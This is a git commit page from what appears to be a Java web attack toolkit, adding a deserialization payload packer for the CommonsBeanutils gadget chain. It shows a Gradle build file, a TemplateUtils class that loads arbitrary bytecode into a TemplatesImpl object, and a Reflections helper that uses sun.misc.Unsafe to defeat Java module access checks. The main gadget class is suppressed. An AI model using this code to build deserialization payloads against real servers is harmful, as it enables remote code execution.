feat: support deserialize packer (but only CB4)

This commit is contained in:
ReaJason
2024-12-10 21:07:41 +08:00
parent 9360408f6d
commit 6020e5eaa9
37 changed files with 690 additions and 62 deletions
+46
View File
@@ -0,0 +1,46 @@
plugins {
id "io.freefair.lombok" version "8.11"
}
group = 'com.reajason.javaweb'
dependencies {
implementation 'net.bytebuddy:byte-buddy:1.+'
implementation 'commons-beanutils:commons-beanutils:1.9.3'
testImplementation platform('org.junit:junit-bom:5.+')
testImplementation 'org.junit.jupiter:junit-jupiter'
}
def runtimeJvmArgs = [
'--add-opens=java.base/java.lang=ALL-UNNAMED',
'--add-opens=java.base/java.util=ALL-UNNAMED',
'--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED',
'--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED'
]
tasks.withType(JavaCompile).configureEach {
options.compilerArgs += [
'--add-exports=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED',
'--add-exports=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED'
]
}
tasks.withType(Test).configureEach {
jvmArgs += runtimeJvmArgs
}
// For running the application
tasks.withType(JavaExec).configureEach {
jvmArgs += runtimeJvmArgs
}
java {
toolchain {
languageVersion = JavaLanguageVersion.of(11)
}
}
test {
useJUnitPlatform()
}
File diff suppressed because one or more lines are too long
@@ -0,0 +1,52 @@
package com.reajason.javaweb.deserialize;
import com.reajason.javaweb.deserialize.utils.Reflections;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import lombok.SneakyThrows;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType;
/**
* @author ReaJason
* @since 2024/12/9
*/
public class TemplateUtils {
public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";
public static Class TPL_CLASS = TemplatesImpl.class;
public static Class ABST_TRANSLET = AbstractTranslet.class;
public static Class TRANS_FACTORY = TransformerFactoryImpl.class;
static {
try {
// 兼容不同 JDK 版本
if (Boolean.parseBoolean(System.getProperty("properXalan", "false"))) {
TPL_CLASS = Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl");
ABST_TRANSLET = Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet");
TRANS_FACTORY = Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl");
}
} catch (Exception ignored) {
}
}
@SneakyThrows
public static TemplatesImpl createTemplatesImpl(byte[] bytes) {
TemplatesImpl templates = new TemplatesImpl();
byte[] fooBytes = new byte[0];
try (DynamicType.Unloaded<Object> make = new ByteBuddy()
.subclass(Object.class).name("foo")
.make()) {
fooBytes = make.getBytes();
}
Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{
bytes, fooBytes
});
Reflections.setFieldValue(templates, "_transletIndex", 0);
Reflections.setFieldValue(templates, "_name", "SimpleJava");
Reflections.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
return templates;
}
}
@@ -0,0 +1,49 @@
package com.reajason.javaweb.deserialize.utils;
import com.reajason.javaweb.deserialize.CommonsBeanutils19;
import java.lang.reflect.Field;
/**
* @author ReaJason
*/
@SuppressWarnings("restriction")
public class Reflections {
static {
try {
Class<?> unsafeClass = Class.forName("sun.misc.Unsafe");
java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
unsafeField.setAccessible(true);
Object unsafe = unsafeField.get(null);
Object module = Class.class.getMethod("getModule").invoke(Object.class, (Object[]) null);
java.lang.reflect.Method objectFieldOffsetM = unsafe.getClass().getMethod("objectFieldOffset", Field.class);
Long offset = (Long) objectFieldOffsetM.invoke(unsafe, Class.class.getDeclaredField("module"));
java.lang.reflect.Method getAndSetObjectM = unsafe.getClass().getMethod("getAndSetObject", Object.class, long.class, Object.class);
getAndSetObjectM.invoke(unsafe, CommonsBeanutils19.class, offset, module);
} catch (Exception ignored) {
}
}
public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
} catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null) {
field = getField(clazz.getSuperclass(), fieldName);
}
}
return field;
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
return field.get(obj);
}
}